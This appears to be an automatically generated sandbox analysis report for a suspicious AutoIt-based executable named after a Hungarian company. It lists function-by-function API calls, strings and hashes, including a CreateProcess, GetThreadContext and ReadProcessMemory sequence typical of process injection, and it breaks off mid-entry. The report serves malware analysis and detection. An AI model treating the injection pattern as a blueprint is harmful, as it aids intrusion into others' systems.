                                                              • Instruction Fuzzy Hash: 953129B1901308AFDB10DFA4DC89BEDBBF4FB09710F14826AE650E62A1D7B94541CF95
                                                              Function 00733041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSysColorBrush.USER32(0000000F), ref: 00733074
                                                              • RegisterClassExW.USER32(00000030), ref: 0073309E
                                                              • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 007330AF
                                                              • InitCommonControlsEx.COMCTL32(?), ref: 007330CC
                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 007330DC
                                                              • LoadIconW.USER32(000000A9), ref: 007330F2
                                                              • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00733101
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                              • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                              • API String ID: 2914291525-1005189915
                                                              • Opcode ID: 2acf3671d7f7d23660ab7ba297e48101cbfa73437cbc763b3dcf686aac4155f6
                                                              • Instruction ID: d69d749a4a4edd458731d491deb017ac037f5e4aa45c50f6bdea9b7b13775d51
                                                              • Opcode Fuzzy Hash: 2acf3671d7f7d23660ab7ba297e48101cbfa73437cbc763b3dcf686aac4155f6
                                                              • Instruction Fuzzy Hash: D021C9B1911618AFDB00DF94EC49BDDBBF4FB08B50F10822AF610A62A0D7B94544CF99
                                                              Function 0073708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00734706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,007F52F8,?,007337AE,?), ref: 00734724
                                                                • Part of subcall function 0075050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00737165), ref: 0075052D
                                                              • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 007371A8
                                                              • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0076E8C8
                                                              • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0076E909
                                                              • RegCloseKey.ADVAPI32(?), ref: 0076E947
                                                              • _wcscat.LIBCMT ref: 0076E9A0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
                                                              • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                              • API String ID: 2673923337-2727554177
                                                              • Opcode ID: 128aa9d42d6d484552e5505e627bc7cb6c2f4976de2654bb9da6133e001d5b21
                                                              • Instruction ID: 5745e9cf9f6d63dd0b5f267f6fc5abdb9953587ab6c9209bd1f76a04b6ea55f6
                                                              • Opcode Fuzzy Hash: 128aa9d42d6d484552e5505e627bc7cb6c2f4976de2654bb9da6133e001d5b21
                                                              • Instruction Fuzzy Hash: 8971AFB1108301DED314EF29EC459ABBBF8FF94310F40852EF445872A1EB79A949CB66
                                                              Function 00733633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151windowtimeregistryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DefWindowProcW.USER32(?,?,?,?), ref: 007336D2
                                                              • KillTimer.USER32(?,00000001), ref: 007336FC
                                                              • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0073371F
                                                              • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0073372A
                                                              • CreatePopupMenu.USER32 ref: 0073373E
                                                              • PostQuitMessage.USER32(00000000), ref: 0073374D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                              • String ID: TaskbarCreated$%|
                                                              • API String ID: 129472671-294584353
                                                              • Opcode ID: c15263e2bc2bcb67cbb83211890f3b5628280a74a1768472019c7fb6181b05e0
                                                              • Instruction ID: 951e36c618eb766b8a16f3bea5b65d762c107707ae8cfe0ddb92f7b6cd8ffd02
                                                              • Opcode Fuzzy Hash: c15263e2bc2bcb67cbb83211890f3b5628280a74a1768472019c7fb6181b05e0
                                                              • Instruction Fuzzy Hash: FE4125B2600509FFFB346F68DC4EB793B55EB00740F504235FA02962A3DA6DAE40D769
                                                              Function 00733A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSysColorBrush.USER32(0000000F), ref: 00733A50
                                                              • LoadCursorW.USER32(00000000,00007F00), ref: 00733A5F
                                                              • LoadIconW.USER32(00000063), ref: 00733A76
                                                              • LoadIconW.USER32(000000A4), ref: 00733A88
                                                              • LoadIconW.USER32(000000A2), ref: 00733A9A
                                                              • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00733AC0
                                                              • RegisterClassExW.USER32(?), ref: 00733B16
                                                                • Part of subcall function 00733041: GetSysColorBrush.USER32(0000000F), ref: 00733074
                                                                • Part of subcall function 00733041: RegisterClassExW.USER32(00000030), ref: 0073309E
                                                                • Part of subcall function 00733041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 007330AF
                                                                • Part of subcall function 00733041: InitCommonControlsEx.COMCTL32(?), ref: 007330CC
                                                                • Part of subcall function 00733041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 007330DC
                                                                • Part of subcall function 00733041: LoadIconW.USER32(000000A9), ref: 007330F2
                                                                • Part of subcall function 00733041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00733101
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                              • String ID: #$0$AutoIt v3
                                                              • API String ID: 423443420-4155596026
                                                              • Opcode ID: eefa84feec9aeea464c5241ca8b57bbe48d8c8ebdd5b14d0e970c5550a0bcf38
                                                              • Instruction ID: cee7380fe8bbf73c6ae710d9c7968228c07b48ccc2b04a8bb30bc6f5b911908e
                                                              • Opcode Fuzzy Hash: eefa84feec9aeea464c5241ca8b57bbe48d8c8ebdd5b14d0e970c5550a0bcf38
                                                              • Instruction Fuzzy Hash: 83214DB1D10704AFEB10DFA4EC09BAD7FB1FB08721F108269F604A62A1D7B95640CF88
                                                              Function 00733766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
                                                              • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
                                                              • API String ID: 1825951767-3513169116
                                                              • Opcode ID: d56a1984d78f02b0b1eae2a582dc7b5e2e17b727cd6fe17be903691e679d20a1
                                                              • Instruction ID: 0237a18ba30cc735b89125b77b3bd694034af072599dc992612d066a9d6b5d4d
                                                              • Opcode Fuzzy Hash: d56a1984d78f02b0b1eae2a582dc7b5e2e17b727cd6fe17be903691e679d20a1
                                                              • Instruction Fuzzy Hash: B3A18EB291021DDAEB14EBA0DC99AEEB778BF15300F440129F516B7192DF7C6A08CB61
                                                              Function 0196B728 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 0196B7F9
                                                              • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0196BA1F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CreateFileFreeVirtual
                                                              • String ID:
                                                              • API String ID: 204039940-0
                                                              • Opcode ID: 7a8af28d10d872e8c42d0e09e8738e4af41cabd85448581b7ead53f150642b41
                                                              • Instruction ID: 9afd98a916b7ea90b0ebb1205d9630aed889541f5bdcfaa1a86edf85614f8e3c
                                                              • Opcode Fuzzy Hash: 7a8af28d10d872e8c42d0e09e8738e4af41cabd85448581b7ead53f150642b41
                                                              • Instruction Fuzzy Hash: DAA11B70E00209EBDB14CFA4C894BEEBBB9FF48305F108559E60ABB281D7759A41CF65
                                                              Function 007339D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00733A03
                                                              • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00733A24
                                                              • ShowWindow.USER32(00000000,?,?), ref: 00733A38
                                                              • ShowWindow.USER32(00000000,?,?), ref: 00733A41
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$CreateShow
                                                              • String ID: AutoIt v3$edit
                                                              • API String ID: 1584632944-3779509399
                                                              • Opcode ID: 2e628192487c3c7d6f6ed3fcfc30e1711d6b5f9e2c13c302230a6e8c5b7c2a91
                                                              • Instruction ID: 909e2f28a68e0054fcf7565d0fa8ca7cfba62df7b2a89e1879bf737220f7417e
                                                              • Opcode Fuzzy Hash: 2e628192487c3c7d6f6ed3fcfc30e1711d6b5f9e2c13c302230a6e8c5b7c2a91
                                                              • Instruction Fuzzy Hash: 98F030B05006907EEA305717AC0CF772F7DE7C7F60B018229FA00A2170C5691800CA78
                                                              Function 0196B498 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0196B388: Sleep.KERNELBASE(000001F4), ref: 0196B399
                                                              • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0196B61A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CreateFileSleep
                                                              • String ID: ZNFSU9WCRW8UHRXLV4BP
                                                              • API String ID: 2694422964-642460598
                                                              • Opcode ID: a8c3ff095e026b1f18fe67ffd1485b55b49847b7528c2ca620f1722779eafb63
                                                              • Instruction ID: 324fd0b2ab31b35f009020ae2e4ae78bcca7ced8dd99f19917e672d718e04c9e
                                                              • Opcode Fuzzy Hash: a8c3ff095e026b1f18fe67ffd1485b55b49847b7528c2ca620f1722779eafb63
                                                              • Instruction Fuzzy Hash: 5C618530E04258DBEF11DBA4D854BEEBB79EF59700F004598D219BB2C0E7BA0A45CB66
                                                              Function 0073407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0076D3D7
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                              • _memset.LIBCMT ref: 007340FC
                                                              • _wcscpy.LIBCMT ref: 00734150
                                                              • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00734160
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
                                                              • String ID: Line:
                                                              • API String ID: 3942752672-1585850449
                                                              • Opcode ID: fc8b57792b674fd937166a8ca802c54bc5f8eadea039c3fc248236d8051495f8
                                                              • Instruction ID: 86561360f8da8476b253cf3722da0ffb51a035ab2566892004c1dc54ac2c3516
                                                              • Opcode Fuzzy Hash: fc8b57792b674fd937166a8ca802c54bc5f8eadea039c3fc248236d8051495f8
                                                              • Instruction Fuzzy Hash: 1631C8B1108705EBE338EB50DC49FEB77D8AF44300F10461AF68592192DB7CA648CB96
                                                              Function 0073686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00734DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,007F52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00734E0F
                                                              • _free.LIBCMT ref: 0076E263
                                                              • _free.LIBCMT ref: 0076E2AA
                                                                • Part of subcall function 00736A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00736BAD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _free$CurrentDirectoryLibraryLoad
                                                              • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                              • API String ID: 2861923089-1757145024
                                                              • Opcode ID: f500e8e17d287bc73f4aa22f922dee2aadc65eab1b1f83aa4fffc1fc69ab32b5
                                                              • Instruction ID: dc29025f084de95a7d4622a23b90eed383eb482b0faf35840415b559aed94233
                                                              • Opcode Fuzzy Hash: f500e8e17d287bc73f4aa22f922dee2aadc65eab1b1f83aa4fffc1fc69ab32b5
                                                              • Instruction Fuzzy Hash: E5919275A10219EFDF08EFA4CC959EDB7B4FF05310F144429F816AB2A2DB79A905CB60
                                                              Function 0073F76F Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 168comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00750162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00750193
                                                                • Part of subcall function 00750162: MapVirtualKeyW.USER32(00000010,00000000), ref: 0075019B
                                                                • Part of subcall function 00750162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 007501A6
                                                                • Part of subcall function 00750162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 007501B1
                                                                • Part of subcall function 00750162: MapVirtualKeyW.USER32(00000011,00000000), ref: 007501B9
                                                                • Part of subcall function 00750162: MapVirtualKeyW.USER32(00000012,00000000), ref: 007501C1
                                                                • Part of subcall function 007460F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,0073F930), ref: 00746154
                                                              • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0073F9CD
                                                              • OleInitialize.OLE32(00000000), ref: 0073FA4A
                                                              • CloseHandle.KERNEL32(00000000), ref: 007745C8
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                              • String ID: %|
                                                              • API String ID: 1986988660-1433500012
                                                              • Opcode ID: 3f17bc0a400b932dde0519debd0f06916e1ef3d8b8142d2ac7b23ac2f05886f8
                                                              • Instruction ID: 0fbe969670b9a3ffc436611f8ead095fcc8b0675795e86e056bcc066368dcdd3
                                                              • Opcode Fuzzy Hash: 3f17bc0a400b932dde0519debd0f06916e1ef3d8b8142d2ac7b23ac2f05886f8
                                                              • Instruction Fuzzy Hash: BA819BB0915E84CFC384EF29E845A397BE5AB4830A791C13AD619CB362E77C4484CF29
                                                              Function 007335B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,007335A1,SwapMouseButtons,00000004,?), ref: 007335D4
                                                              • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,007335A1,SwapMouseButtons,00000004,?,?,?,?,00732754), ref: 007335F5
                                                              • RegCloseKey.KERNELBASE(00000000,?,?,007335A1,SwapMouseButtons,00000004,?,?,?,?,00732754), ref: 00733617
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CloseOpenQueryValue
                                                              • String ID: Control Panel\Mouse
                                                              • API String ID: 3677997916-824357125
                                                              • Opcode ID: 05e6251a586c14b09c5f235020eafd7f466abfb63131be83b5b47f3a795d92d3
                                                              • Instruction ID: a3985f676528810f9861c7a59d4efa6509986989c0c33b9b7bb9745496ab2acf
                                                              • Opcode Fuzzy Hash: 05e6251a586c14b09c5f235020eafd7f466abfb63131be83b5b47f3a795d92d3
                                                              • Instruction Fuzzy Hash: 7C115771A10208FFEB209F64DC81EAEBBBCEF04740F008669F805D7221E2759F409BA4
                                                              Function 0196A388 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateProcessW.KERNELBASE(?,00000000), ref: 0196AB43
                                                              • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 0196ABD9
                                                              • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0196ABFB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                              • String ID:
                                                              • API String ID: 2438371351-0
                                                              • Opcode ID: 3790e136272a110f5ab4d8617909c812004bdd41f4683ed991f3cafb80161bff
                                                              • Instruction ID: e126c711ea70d0f34bed3d14c17b84f5dbfa7cd1ea94f638d42e5dc77ebbabb6
                                                              • Opcode Fuzzy Hash: 3790e136272a110f5ab4d8617909c812004bdd41f4683ed991f3cafb80161bff
                                                              • Instruction Fuzzy Hash: C6620C30A142589BEB24CFA4CC50BDEB776EF58301F1095A9D10DEB390E7799E81CB69
                                                              Function 0079955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00734EE5: _fseek.LIBCMT ref: 00734EFD
                                                                • Part of subcall function 00799734: _wcscmp.LIBCMT ref: 00799824
                                                                • Part of subcall function 00799734: _wcscmp.LIBCMT ref: 00799837
                                                              • _free.LIBCMT ref: 007996A2
                                                              • _free.LIBCMT ref: 007996A9
                                                              • _free.LIBCMT ref: 00799714
                                                                • Part of subcall function 00752D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00759A24), ref: 00752D69
                                                                • Part of subcall function 00752D55: GetLastError.KERNEL32(00000000,?,00759A24), ref: 00752D7B
                                                              • _free.LIBCMT ref: 0079971C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                              • String ID:
                                                              • API String ID: 1552873950-0
                                                              • Opcode ID: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
                                                              • Instruction ID: 4dc0692f9e1242ca9d0aaa62499deb6ca15ef73016feeba491d81b5b656d644b
                                                              • Opcode Fuzzy Hash: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
                                                              • Instruction Fuzzy Hash: A1515FB1E04218EFEF249FA4DC85A9EBB79EF48300F14049EF609A3241DB755A81CF59
                                                              Function 0075470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                                                              • String ID:
                                                              • API String ID: 2782032738-0
                                                              • Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                                              • Instruction ID: 0af55ec90a8728e6c917e43a03c35434df9ffc16254d883af7776a65aa77085f
